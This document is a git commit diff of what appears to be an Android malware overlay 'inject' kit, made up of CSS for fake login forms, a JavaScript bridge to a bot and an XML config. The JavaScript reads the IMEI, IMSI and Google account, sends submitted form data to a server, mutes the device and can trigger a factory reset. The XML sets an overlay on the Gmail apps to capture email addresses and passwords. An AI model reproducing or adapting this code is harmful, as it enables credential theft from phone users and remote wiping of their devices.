initial commit
This commit is contained in:
@@ -0,0 +1,70 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
@charset "utf-8";
|
||||
/* CSS Document */
|
||||
|
||||
/* ---------- GENERAL ---------- */
|
||||
|
||||
body {
|
||||
background: #F7F7F7;
|
||||
color: #999;
|
||||
font: 100%/1.5em sans-serif;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
h1 {
|
||||
margin: 0;
|
||||
font-weight: 100;
|
||||
font-family: sans-serif;
|
||||
line-height: 35px;
|
||||
color: #4A4A48;
|
||||
}
|
||||
|
||||
h6 {
|
||||
font-family: sans-serif;
|
||||
font-size: 17px;
|
||||
font-weight: unset;
|
||||
padding-bottom: 15px;
|
||||
color: #4A4A48;
|
||||
display: block;
|
||||
margin: 10px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
a {
|
||||
color: #999;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
a:hover { color: #1dabb8; }
|
||||
|
||||
p {
|
||||
font-size: 15px;
|
||||
margin: 0 0 10px 10px;
|
||||
line-height: 17px;
|
||||
}
|
||||
|
||||
input {
|
||||
border: none;
|
||||
font-family: inherit;
|
||||
font-size: inherit;
|
||||
margin: 0;
|
||||
-webkit-appearance: none;
|
||||
}
|
||||
|
||||
input[type="button"] {
|
||||
outline: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.clearfix { *zoom: 1; }
|
||||
.clearfix:before, .clearfix:after {
|
||||
content: "";
|
||||
display: table;
|
||||
}
|
||||
.clearfix:after { clear: both; }
|
||||
|
||||
#topbar {
|
||||
background: #FFF;
|
||||
width: 100%;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* ---------- LOGIN-FORM ---------- */
|
||||
|
||||
#login-form {
|
||||
margin: 0 auto;
|
||||
width: 234px;
|
||||
}
|
||||
|
||||
#login-form input {
|
||||
font-size: 16px;
|
||||
}
|
||||
|
||||
#login-form input[type="text"],
|
||||
#login-form input[type="password"] {
|
||||
border: 1px solid #dcdcdc;
|
||||
padding: 10px;
|
||||
width: 212px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
#login-form input[type="button"] {
|
||||
background: #498BF4;
|
||||
border-radius: 3px;
|
||||
color: #fff;
|
||||
float: right;
|
||||
font-weight: bold;
|
||||
margin-top: 10px;
|
||||
padding: 10px;
|
||||
width: 234px;
|
||||
}
|
||||
|
||||
#login-form input[type="button"]:hover { background: #1467F1; }
|
||||
|
||||
#error {
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.end-block span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#step_two, #step_three {
|
||||
display:none;
|
||||
}
|
||||
|
||||
.step-block {
|
||||
display: none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.info {
|
||||
background: #e5e5e5;
|
||||
border-radius: 50%;
|
||||
display: inline-block;
|
||||
height: 20px;
|
||||
line-height: 20px;
|
||||
margin: 0 10px 0 0;
|
||||
text-align: center;
|
||||
width: 20px;
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 3.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 23 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 17 KiB |
@@ -0,0 +1,232 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
o['stepID'] = stepID;
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
+4
File diff suppressed because one or more lines are too long
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?><!-- Файл должен быть в кодировке UTF-8 (без BOM) -->
|
||||
<document>
|
||||
<name>Google Mail</name><!-- Название инжекта -->
|
||||
<apps>com.google.android.gm;com.google.android.apps.inbox</apps><!-- Приложения, которые будут перекрываться (через точку с запятой) -->
|
||||
<size>1</size><!-- Размер инжекта (1 - стандартный, 2 - в виде диалога) -->
|
||||
<storage>2</storage><!-- Место хранения инжекта (1 - в устройстве, 2 - на сервере) -->
|
||||
|
||||
<step><!-- Новый шаг (форма) -->
|
||||
<param><!-- Параметр в шаге (форме) -->
|
||||
<column>E-mail</column><!-- Название колонки (для вкладки "Инжекты"->"Данные") -->
|
||||
<name>email</name><!-- Название параметра (поле name в форме в файле index.html) -->
|
||||
</param>
|
||||
</step>
|
||||
|
||||
<step>
|
||||
<param>
|
||||
<column>Password</column>
|
||||
<name>password</name>
|
||||
</param>
|
||||
</step>
|
||||
|
||||
</document>
|
||||
Reference in New Issue
Block a user